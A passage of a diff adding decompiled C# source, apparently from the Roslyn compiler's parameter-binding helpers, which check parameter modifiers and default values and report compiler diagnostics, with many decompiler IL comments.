//IL_0069: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray refCustomModifiers = (refKind - 2) switch + { + 1 => CreateInModifiers(binder2, bindingDiagnosticBag, (SyntaxNode)(object)syntax), + 2 => CreateRefReadonlyParameterModifiers(binder2, bindingDiagnosticBag, (SyntaxNode)(object)syntax), + 0 => CreateOutModifiers(binder2, bindingDiagnosticBag, (SyntaxNode)(object)syntax), + _ => ImmutableArray.Empty, + }; + if (parameterType.IsVoidType()) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_NoVoidParameter, ((SyntaxNode)syntax.Type).Location); + } + return new FunctionPointerParameterSymbol(parameterType, refKind, ordinal, containingSymbol, refCustomModifiers); + }, parsingFunctionPointer: true); + } + + private static ImmutableArray MakeParameters(Binder withTypeParametersBinder, TOwningSymbol owner, SeparatedSyntaxList parametersList, out SyntaxToken arglistToken, BindingDiagnosticBag diagnostics, bool allowRefOrOut, bool allowThis, bool addRefReadOnlyModifier, bool suppressUseSiteDiagnostics, int lastIndex, Func parameterCreationFunc, bool parsingFunctionPointer = false) where TParameterSyntax : BaseParameterSyntax where TParameterSymbol : ParameterSymbol where TOwningSymbol : Symbol + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + //IL_0147: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_014d: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Invalid comparison between Unknown and I4 + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + //IL_0123: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Invalid comparison between Unknown and I4 + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_0241: Unknown result type (might be due to invalid IL or missing references) + //IL_0248: Invalid comparison between Unknown and I4 + //IL_01be: Unknown result type (might be due to invalid IL or missing references) + //IL_01d1: Unknown result type (might be due to invalid IL or missing references) + //IL_01d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + arglistToken = default(SyntaxToken); + int num = 0; + int num2 = -1; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = parametersList.GetEnumerator(); + while (enumerator.MoveNext()) + { + TParameterSyntax current = enumerator.Current; + if (num > lastIndex) + { + break; + } + CheckParameterModifiers(current, diagnostics, parsingFunctionPointer, parsingLambdaParams: false, parsingAnonymousMethodParams: false); + SyntaxToken refnessKeyword; + SyntaxToken paramsKeyword; + SyntaxToken thisKeyword; + ScopedKind scope; + RefKind modifiers = GetModifiers(current.Modifiers, out refnessKeyword, out paramsKeyword, out thisKeyword, out scope); + if (thisKeyword.Kind() != SyntaxKind.None && !allowThis) + { + diagnostics.Add(ErrorCode.ERR_ThisInBadContext, ((SyntaxToken)(ref thisKeyword)).GetLocation()); + } + if (current is ParameterSyntax parameterSyntax) + { + if (parameterSyntax.IsArgList) + { + arglistToken = parameterSyntax.Identifier; + if (paramsKeyword.Kind() != SyntaxKind.None || refnessKeyword.Kind() != SyntaxKind.None || thisKeyword.Kind() != SyntaxKind.None) + { + diagnostics.Add(ErrorCode.ERR_IllegalVarArgs, ((SyntaxToken)(ref arglistToken)).GetLocation()); + } + if (num != lastIndex) + { + diagnostics.Add(ErrorCode.ERR_VarargsLast, parameterSyntax.GetLocation()); + } + continue; + } + if (parameterSyntax.Default != null && num2 == -1) + { + num2 = num; + } + } + TypeWithAnnotations arg = withTypeParametersBinder.BindType(current.Type, diagnostics, null, suppressUseSiteDiagnostics); + if (!allowRefOrOut && ((int)modifiers == 1 || (int)modifiers == 2)) + { + diagnostics.Add(ErrorCode.ERR_IllegalRefParam, ((SyntaxToken)(ref refnessKeyword)).GetLocation()); + } + TParameterSymbol val = parameterCreationFunc(withTypeParametersBinder, owner, arg, current, modifiers, num, paramsKeyword, thisKeyword, addRefReadOnlyModifier, scope, diagnostics); + ScopedKind? declaredScope = ((val is SourceParameterSymbol sourceParameterSymbol) ? new ScopedKind?(sourceParameterSymbol.DeclaredScope) : ((ScopedKind?)null)); + ReportParameterErrors(owner, current, val.Ordinal, lastIndex, val.IsParams, val.TypeWithAnnotations, val.RefKind, declaredScope, val.ContainingSymbol, thisKeyword, paramsKeyword, num2, diagnostics); + instance.Add(val); + num++; + } + ImmutableArray immutableArray = instance.ToImmutableAndFree(); + if (!parsingFunctionPointer) + { + MethodSymbol methodSymbol = owner as MethodSymbol; + ImmutableArray typeParameters = methodSymbol?.TypeParameters ?? default(ImmutableArray); + bool allowShadowingNames = withTypeParametersBinder.Compilation.IsFeatureEnabled(MessageID.IDS_FeatureNameShadowingInNestedFunctions) && (object)methodSymbol != null && (int)methodSymbol.MethodKind == 17; + withTypeParametersBinder.ValidateParameterNameConflicts(typeParameters, ImmutableArrayExtensions.Cast(immutableArray), allowShadowingNames, diagnostics); + } + return immutableArray; + } + + internal static void EnsureRefKindAttributesExist(PEModuleBuilder moduleBuilder, ImmutableArray parameters) + { + EnsureRefKindAttributesExist(((PEModuleBuilder)moduleBuilder).Compilation, parameters, null, modifyCompilation: false, moduleBuilder); + } + + internal static void EnsureRefKindAttributesExist(CSharpCompilation? compilation, ImmutableArray parameters, BindingDiagnosticBag diagnostics, bool modifyCompilation) + { + if (compilation != null) + { + EnsureRefKindAttributesExist(compilation, parameters, diagnostics, modifyCompilation, null); + } + } + + private static void EnsureRefKindAttributesExist(CSharpCompilation compilation, ImmutableArray parameters, BindingDiagnosticBag? diagnostics, bool modifyCompilation, PEModuleBuilder? moduleBuilder) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if ((int)current.RefKind == 3) + { + if (moduleBuilder != null) + { + moduleBuilder.EnsureIsReadOnlyAttributeExists(); + } + else + { + compilation.EnsureIsReadOnlyAttributeExists(diagnostics, GetParameterLocation(current), modifyCompilation); + } + } + else if ((int)current.RefKind == 4) + { + if (moduleBuilder != null) + { + moduleBuilder.EnsureRequiresLocationAttributeExists(); + } + else + { + compilation.EnsureRequiresLocationAttributeExists(diagnostics, GetParameterLocation(current), modifyCompilation); + } + } + } + } + + internal static void EnsureNativeIntegerAttributeExists(PEModuleBuilder moduleBuilder, ImmutableArray parameters) + { + EnsureNativeIntegerAttributeExists(((PEModuleBuilder)moduleBuilder).Compilation, parameters, null, modifyCompilation: false, moduleBuilder); + } + + internal static void EnsureNativeIntegerAttributeExists(CSharpCompilation? compilation, ImmutableArray parameters, BindingDiagnosticBag diagnostics, bool modifyCompilation) + { + if (compilation != null && compilation.ShouldEmitNativeIntegerAttributes()) + { + EnsureNativeIntegerAttributeExists(compilation, parameters, diagnostics, modifyCompilation, null); + } + } + + private static void EnsureNativeIntegerAttributeExists(CSharpCompilation compilation, ImmutableArray parameters, BindingDiagnosticBag? diagnostics, bool modifyCompilation, PEModuleBuilder? moduleBuilder) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (current.TypeWithAnnotations.ContainsNativeIntegerWrapperType()) + { + if (moduleBuilder != null) + { + moduleBuilder.EnsureNativeIntegerAttributeExists(); + } + else + { + compilation.EnsureNativeIntegerAttributeExists(diagnostics, GetParameterLocation(current), modifyCompilation); + } + } + } + } + + internal static bool RequiresScopedRefAttribute(ParameterSymbol parameter) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + ScopedKind effectiveScope = parameter.EffectiveScope; + if ((int)effectiveScope == 0) + { + return false; + } + if (IsRefScopedByDefault(parameter)) + { + return (int)effectiveScope == 2; + } + return true; + } + + internal static bool IsRefScopedByDefault(ParameterSymbol parameter) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return IsRefScopedByDefault(parameter.UseUpdatedEscapeRules, parameter.RefKind); + } + + internal static bool IsRefScopedByDefault(bool useUpdatedEscapeRules, RefKind refKind) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Invalid comparison between Unknown and I4 + if (useUpdatedEscapeRules) + { + return (int)refKind == 2; + } + return false; + } + + internal static void EnsureScopedRefAttributeExists(PEModuleBuilder moduleBuilder, ImmutableArray parameters) + { + EnsureScopedRefAttributeExists(((PEModuleBuilder)moduleBuilder).Compilation, parameters, null, modifyCompilation: false, moduleBuilder); + } + + internal static void EnsureScopedRefAttributeExists(CSharpCompilation? compilation, ImmutableArray parameters, BindingDiagnosticBag diagnostics, bool modifyCompilation) + { + if (compilation != null) + { + EnsureScopedRefAttributeExists(compilation, parameters, diagnostics, modifyCompilation, null); + } + } + + private static void EnsureScopedRefAttributeExists(CSharpCompilation compilation, ImmutableArray parameters, BindingDiagnosticBag? diagnostics, bool modifyCompilation, PEModuleBuilder? moduleBuilder) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (RequiresScopedRefAttribute(current)) + { + if (moduleBuilder != null) + { + moduleBuilder.EnsureScopedRefAttributeExists(); + } + else + { + compilation.EnsureScopedRefAttributeExists(diagnostics, GetParameterLocation(current), modifyCompilation); + } + } + } + } + + internal static void EnsureNullableAttributeExists(PEModuleBuilder moduleBuilder, Symbol container, ImmutableArray parameters) + { + EnsureNullableAttributeExists(((PEModuleBuilder)moduleBuilder).Compilation, container, parameters, null, modifyCompilation: false, moduleBuilder); + } + + internal static void EnsureNullableAttributeExists(CSharpCompilation? compilation, Symbol container, ImmutableArray parameters, BindingDiagnosticBag? diagnostics, bool modifyCompilation) + { + if (compilation != null) + { + EnsureNullableAttributeExists(compilation, container, parameters, diagnostics, modifyCompilation, null); + } + } + + private static void EnsureNullableAttributeExists(CSharpCompilation compilation, Symbol container, ImmutableArray parameters, BindingDiagnosticBag? diagnostics, bool modifyCompilation, PEModuleBuilder? moduleBuilder) + { + if (parameters.Length <= 0 || !compilation.ShouldEmitNullableAttributes(container)) + { + return; + } + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (current.TypeWithAnnotations.NeedsNullableAttribute()) + { + if (moduleBuilder != null) + { + moduleBuilder.EnsureNullableAttributeExists(); + } + else + { + compilation.EnsureNullableAttributeExists(diagnostics, GetParameterLocation(current), modifyCompilation); + } + } + } + } + + private static Location GetParameterLocation(ParameterSymbol parameter) + { + return ((SyntaxNode)parameter.GetNonNullSyntaxNode()).Location; + } + + internal static void CheckParameterModifiers(BaseParameterSyntax parameter, BindingDiagnosticBag diagnostics, bool parsingFunctionPointerParams, bool parsingLambdaParams, bool parsingAnonymousMethodParams) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_0318: Unknown result type (might be due to invalid IL or missing references) + //IL_0289: Unknown result type (might be due to invalid IL or missing references) + //IL_03a6: Unknown result type (might be due to invalid IL or missing references) + //IL_0306: Unknown result type (might be due to invalid IL or missing references) + //IL_0332: Unknown result type (might be due to invalid IL or missing references) + //IL_03ba: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Unknown result type (might be due to invalid IL or missing references) + //IL_029b: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_0391: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_019a: Unknown result type (might be due to invalid IL or missing references) + //IL_02af: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_034e: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_01af: Unknown result type (might be due to invalid IL or missing references) + //IL_02bf: Unknown result type (might be due to invalid IL or missing references) + //IL_0215: Unknown result type (might be due to invalid IL or missing references) + //IL_0360: Unknown result type (might be due to invalid IL or missing references) + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + //IL_01c4: Unknown result type (might be due to invalid IL or missing references) + //IL_02d4: Unknown result type (might be due to invalid IL or missing references) + //IL_027b: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_01da: Unknown result type (might be due to invalid IL or missing references) + //IL_02e9: Unknown result type (might be due to invalid IL or missing references) + //IL_023a: Unknown result type (might be due to invalid IL or missing references) + //IL_024d: Unknown result type (might be due to invalid IL or missing references) + //IL_025f: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + bool flag2 = false; + bool flag3 = false; + bool flag4 = false; + bool flag5 = false; + bool flag6 = false; + SyntaxToken? val = null; + SyntaxTokenList modifiers = parameter.Modifiers; + SyntaxToken current; + for (Enumerator enumerator = ((SyntaxTokenList)(ref modifiers)).GetEnumerator(); ((Enumerator)(ref enumerator)).MoveNext(); val = current) + { + current = ((Enumerator)(ref enumerator)).Current; + switch (current.Kind()) + { + case SyntaxKind.ThisKeyword: + Binder.CheckFeatureAvailability(current, MessageID.IDS_FeatureExtensionMethod, diagnostics); + if (flag2 || flag5) + { + Binder.CheckFeatureAvailability(current, MessageID.IDS_FeatureRefExtensionMethods, diagnostics); + } + if (parsingLambdaParams || parsingAnonymousMethodParams) + { + diagnostics.Add(ErrorCode.ERR_ThisInBadContext, ((SyntaxToken)(ref current)).GetLocation()); + } + else if (flag) + { + addERR_DupParamMod(diagnostics, current); + } + else if (flag3) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.OutKeyword); + } + else if (flag4) + { + diagnostics.Add(ErrorCode.ERR_BadParamModThis, ((SyntaxToken)(ref current)).GetLocation()); + } + else + { + flag = true; + } + continue; + case SyntaxKind.RefKeyword: + if (flag) + { + Binder.CheckFeatureAvailability(current, MessageID.IDS_FeatureRefExtensionMethods, diagnostics); + } + if (flag2) + { + addERR_DupParamMod(diagnostics, current); + } + else if (flag4) + { + addERR_ParamsCantBeWithModifier(diagnostics, current, SyntaxKind.RefKeyword); + } + else if (flag3) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.OutKeyword); + } + else if (flag5) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.InKeyword); + } + else + { + flag2 = true; + } + continue; + case SyntaxKind.OutKeyword: + if (flag3) + { + addERR_DupParamMod(diagnostics, current); + } + else if (flag) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.ThisKeyword); + } + else if (flag4) + { + addERR_ParamsCantBeWithModifier(diagnostics, current, SyntaxKind.OutKeyword); + } + else if (flag2) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.RefKeyword); + } + else if (flag5) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.InKeyword); + } + else + { + flag3 = true; + } + continue; + case SyntaxKind.ParamsKeyword: + if (!parsingFunctionPointerParams) + { + if (parsingAnonymousMethodParams) + { + diagnostics.Add(ErrorCode.ERR_IllegalParams, ((SyntaxToken)(ref current)).GetLocation()); + } + else if (flag4) + { + addERR_DupParamMod(diagnostics, current); + } + else if (flag) + { + diagnostics.Add(ErrorCode.ERR_BadParamModThis, ((SyntaxToken)(ref current)).GetLocation()); + } + else if (flag2) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.RefKeyword); + } + else if (flag5) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.InKeyword); + } + else if (flag3) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.OutKeyword); + } + else + { + flag4 = true; + } + if (parsingLambdaParams) + { + MessageID.IDS_FeatureLambdaParamsArray.CheckFeatureAvailability(diagnostics, current); + } + continue; + } + if (!parsingFunctionPointerParams) + { + break; + } + goto IL_037c; + case SyntaxKind.InKeyword: + Binder.CheckFeatureAvailability(current, MessageID.IDS_FeatureReadOnlyReferences, diagnostics); + if (flag) + { + Binder.CheckFeatureAvailability(current, MessageID.IDS_FeatureRefExtensionMethods, diagnostics); + } + if (flag5) + { + addERR_DupParamMod(diagnostics, current); + } + else if (flag3) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.OutKeyword); + } + else if (flag2) + { + addERR_BadParameterModifiers(diagnostics, current, SyntaxKind.RefKeyword); + } + else if (flag4) + { + addERR_ParamsCantBeWithModifier(diagnostics, current, SyntaxKind.InKeyword); + } + else + { + flag5 = true; + } + continue; + case SyntaxKind.ScopedKeyword: + if (!parsingFunctionPointerParams) + { + ModifierUtils.CheckScopedModifierAvailability(parameter, current, diagnostics); + continue; + } + if (!parsingFunctionPointerParams) + { + break; + } + goto IL_037c; + case SyntaxKind.ReadOnlyKeyword: + { + if (flag6) + { + addERR_DupParamMod(diagnostics, current); + } + else if (!val.HasValue || val.GetValueOrDefault().Kind() != SyntaxKind.RefKeyword) + { + diagnostics.Add(ErrorCode.ERR_RefReadOnlyWrongOrdering, current); + } + else if (flag2) + { + Binder.CheckFeatureAvailability(current, MessageID.IDS_FeatureRefReadonlyParameters, diagnostics); + flag6 = true; + } + continue; + } + IL_037c: + diagnostics.Add(ErrorCode.ERR_BadFuncPointerParamModifier, ((SyntaxToken)(ref current)).GetLocation(), SyntaxFacts.GetText(current.Kind())); + continue; + } + throw ExceptionUtilities.UnexpectedValue((object)current.Kind()); + } + static void addERR_BadParameterModifiers(BindingDiagnosticBag bindingDiagnosticBag, SyntaxToken modifier, SyntaxKind otherModifierKind) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + bindingDiagnosticBag.Add(ErrorCode.ERR_BadParameterModifiers, ((SyntaxToken)(ref modifier)).GetLocation(), SyntaxFacts.GetText(modifier.Kind()), SyntaxFacts.GetText(otherModifierKind)); + } + static void addERR_DupParamMod(BindingDiagnosticBag bindingDiagnosticBag, SyntaxToken modifier) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + bindingDiagnosticBag.Add(ErrorCode.ERR_DupParamMod, ((SyntaxToken)(ref modifier)).GetLocation(), SyntaxFacts.GetText(modifier.Kind())); + } + static void addERR_ParamsCantBeWithModifier(BindingDiagnosticBag bindingDiagnosticBag, SyntaxToken modifier, SyntaxKind otherModifierKind) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ParamsCantBeWithModifier, ((SyntaxToken)(ref modifier)).GetLocation(), SyntaxFacts.GetText(otherModifierKind)); + } + } + + public static void ReportParameterErrors(Symbol? owner, BaseParameterSyntax syntax, int ordinal, int lastParameterIndex, bool isParams, TypeWithAnnotations typeWithAnnotations, RefKind refKind, ScopedKind? declaredScope, Symbol? containingSymbol, SyntaxToken thisKeyword, SyntaxToken paramsKeyword, int firstDefault, BindingDiagnosticBag diagnostics) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_016f: Unknown result type (might be due to invalid IL or missing references) + //IL_01c0: Unknown result type (might be due to invalid IL or missing references) + //IL_01c4: Unknown result type (might be due to invalid IL or missing references) + //IL_01c9: Unknown result type (might be due to invalid IL or missing references) + //IL_0141: Unknown result type (might be due to invalid IL or missing references) + //IL_0146: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_0153: Unknown result type (might be due to invalid IL or missing references) + bool flag = syntax is ParameterSyntax parameterSyntax && parameterSyntax.Default != null; + if (thisKeyword.Kind() == SyntaxKind.ThisKeyword && ordinal != 0) + { + diagnostics.Add(ErrorCode.ERR_BadThisParam, ((SyntaxToken)(ref thisKeyword)).GetLocation(), owner?.Name ?? ""); + } + else if (isParams && (object)owner != null && owner.IsOperator()) + { + diagnostics.Add(ErrorCode.ERR_IllegalParams, ((SyntaxToken)(ref paramsKeyword)).GetLocation()); + } + else if (isParams && !typeWithAnnotations.IsSZArray()) + { + diagnostics.Add(ErrorCode.ERR_ParamsMustBeArray, ((SyntaxToken)(ref paramsKeyword)).GetLocation()); + } + else if (typeWithAnnotations.IsStatic) + { + ErrorCode staticClassParameterCode = ErrorFacts.GetStaticClassParameterCode(containingSymbol?.ContainingType?.IsInterfaceType() == true); + TypeSyntax? type = syntax.Type; + diagnostics.Add(staticClassParameterCode, ((type != null) ? ((SyntaxNode)type).Location : null) ?? syntax.GetLocation(), typeWithAnnotations.Type); + } + else if (firstDefault != -1 && ordinal > firstDefault && !flag && !isParams) + { + SyntaxToken val = ((ParameterSyntax)syntax).Identifier; + val = ((SyntaxToken)(ref val)).GetNextToken(true, false, false, false); + Location location = ((SyntaxToken)(ref val)).GetLocation(); + diagnostics.Add(ErrorCode.ERR_DefaultValueBeforeRequiredValue, location); + } + else if ((int)refKind != 0 && typeWithAnnotations.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + diagnostics.Add(ErrorCode.ERR_MethodArgCantBeRefAny, ((SyntaxNode)syntax).Location, typeWithAnnotations.Type); + } + if (isParams && ordinal != lastParameterIndex) + { + diagnostics.Add(ErrorCode.ERR_ParamsLast, syntax.GetLocation()); + } + if (declaredScope == (ScopedKind?)2 && !typeWithAnnotations.IsRefLikeType()) + { + diagnostics.Add(ErrorCode.ERR_ScopedRefAndRefStructOnly, ((SyntaxNode)syntax).Location); + } + } + + internal static bool ReportDefaultParameterErrors(Binder binder, Symbol owner, ParameterSyntax parameterSyntax, SourceParameterSymbol parameter, BoundExpression defaultExpression, BoundExpression convertedExpression, BindingDiagnosticBag diagnostics) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Invalid comparison between Unknown and I4 + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Invalid comparison between Unknown and I4 + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_02c0: Unknown result type (might be due to invalid IL or missing references) + //IL_02c5: Unknown result type (might be due to invalid IL or missing references) + //IL_02d7: Unknown result type (might be due to invalid IL or missing references) + //IL_02dc: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_02ec: Unknown result type (might be due to invalid IL or missing references) + //IL_02ef: Invalid comparison between Unknown and I4 + //IL_030c: Unknown result type (might be due to invalid IL or missing references) + //IL_0311: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_0141: Unknown result type (might be due to invalid IL or missing references) + //IL_0147: Invalid comparison between Unknown and I4 + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_01c1: Unknown result type (might be due to invalid IL or missing references) + //IL_01c6: Unknown result type (might be due to invalid IL or missing references) + //IL_01d8: Unknown result type (might be due to invalid IL or missing references) + //IL_01dd: Unknown result type (might be due to invalid IL or missing references) + //IL_01a7: Unknown result type (might be due to invalid IL or missing references) + //IL_01ae: Invalid comparison between Unknown and I4 + //IL_0248: Unknown result type (might be due to invalid IL or missing references) + //IL_024d: Unknown result type (might be due to invalid IL or missing references) + //IL_0280: Unknown result type (might be due to invalid IL or missing references) + //IL_0285: Unknown result type (might be due to invalid IL or missing references) + bool result = false; + TypeSymbol type = parameter.Type; + CompoundUseSiteInfo useSiteInfo = binder.GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = binder.Conversions.ClassifyImplicitConversionFromExpression(defaultExpression, type, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(defaultExpression.Syntax, useSiteInfo); + SyntaxToken refnessKeyword; + SyntaxToken paramsKeyword; + SyntaxToken thisKeyword; + ScopedKind scope; + RefKind modifiers = GetModifiers(parameterSyntax.Modifiers, out refnessKeyword, out paramsKeyword, out thisKeyword, out scope); + SyntaxToken identifier; + if ((int)modifiers == 1 || (int)modifiers == 2) + { + diagnostics.Add(ErrorCode.ERR_RefOutDefaultValue, ((SyntaxToken)(ref refnessKeyword)).GetLocation()); + result = true; + } + else if (paramsKeyword.Kind() == SyntaxKind.ParamsKeyword) + { + diagnostics.Add(ErrorCode.ERR_DefaultValueForParamsParameter, ((SyntaxToken)(ref paramsKeyword)).GetLocation()); + result = true; + } + else if (thisKeyword.Kind() == SyntaxKind.ThisKeyword) + { + if (parameter.Ordinal == 0) + { + diagnostics.Add(ErrorCode.ERR_DefaultValueForExtensionParameter, ((SyntaxToken)(ref thisKeyword)).GetLocation()); + result = true; + } + } + else if (!defaultExpression.HasAnyErrors && !IsValidDefaultValue(defaultExpression.IsImplicitObjectCreation() ? convertedExpression : defaultExpression)) + { + Location location = ((SyntaxNode)parameterSyntax.Default.Value).Location; + object[] array = new object[1]; + identifier = parameterSyntax.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.ERR_DefaultValueMustBeConstant, location, array); + result = true; + } + else if (!conversion.Exists || conversion.IsUserDefined || (conversion.IsIdentity && (int)type.SpecialType == 1 && defaultExpression.Type.IsDynamic())) + { + identifier = parameterSyntax.Identifier; + diagnostics.Add(ErrorCode.ERR_NoConversionForDefaultParam, ((SyntaxToken)(ref identifier)).GetLocation(), defaultExpression.Display, type); + result = true; + } + else if ((conversion.IsReference && (object)defaultExpression.Type != null && (int)defaultExpression.Type.SpecialType == 20) || conversion.IsBoxing) + { + identifier = parameterSyntax.Identifier; + Location location2 = ((SyntaxToken)(ref identifier)).GetLocation(); + object[] array2 = new object[2]; + identifier = parameterSyntax.Identifier; + array2[0] = ((SyntaxToken)(ref identifier)).ValueText; + array2[1] = type; + diagnostics.Add(ErrorCode.ERR_NotNullRefDefaultParameter, location2, array2); + result = true; + } + else if (((conversion.IsNullable && !defaultExpression.Type.IsNullableType()) || (conversion.IsObjectCreation && convertedExpression.Type.IsNullableType())) && !type.GetNullableUnderlyingType().IsEnumType() && !type.GetNullableUnderlyingType().IsIntrinsicType()) + { + identifier = parameterSyntax.Identifier; + Location location3 = ((SyntaxToken)(ref identifier)).GetLocation(); + object[] obj = new object[2] + { + defaultExpression.IsImplicitObjectCreation() ? convertedExpression.Type.StrippedType() : defaultExpression.Type, + null + }; + identifier = parameterSyntax.Identifier; + obj[1] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.ERR_NoConversionForNubDefaultParam, location3, obj); + result = true; + } + ConstantValueUtils.CheckLangVersionForConstantValue(convertedExpression, diagnostics); + if (owner.IsExplicitInterfaceImplementation() || owner.IsPartialImplementation() || owner.IsOperator()) + { + identifier = parameterSyntax.Identifier; + Location location4 = ((SyntaxToken)(ref identifier)).GetLocation(); + object[] array3 = new object[1]; + identifier = parameterSyntax.Identifier; + array3[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_DefaultValueForUnconsumedLocation, location4, array3); + } + if ((int)modifiers == 4) + { + ExpressionSyntax value = parameterSyntax.Default.Value; + object[] array4 = new object[1]; + identifier = parameterSyntax.Identifier; + array4[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.WRN_RefReadonlyParameterDefaultValue, (SyntaxNode)(object)value, array4); + } + return result; + } + + private static bool IsValidDefaultValue(BoundExpression expression) + { + if (expression.ConstantValueOpt != (ConstantValue)null) + { + return true; + } + switch (expression.Kind) + { + case BoundKind.DefaultLiteral: + case BoundKind.DefaultExpression: + return true; + case BoundKind.ObjectCreationExpression: + return IsValidDefaultValue((BoundObjectCreationExpression)expression); + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)expression; + if (boundConversion != null && boundConversion.Conversion.IsObjectCreation && boundConversion.Operand is BoundObjectCreationExpression { WasTargetTyped: not false } boundObjectCreationExpression) + { + return IsValidDefaultValue(boundObjectCreationExpression); + } + return false; + } + default: + return false; + } + } + + private static bool IsValidDefaultValue(BoundObjectCreationExpression expression) + { + if (expression.Constructor.IsDefaultValueTypeConstructor()) + { + return expression.InitializerExpressionOpt == null; + } + return false; + } + + internal static MethodSymbol FindContainingGenericMethod(Symbol symbol) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: 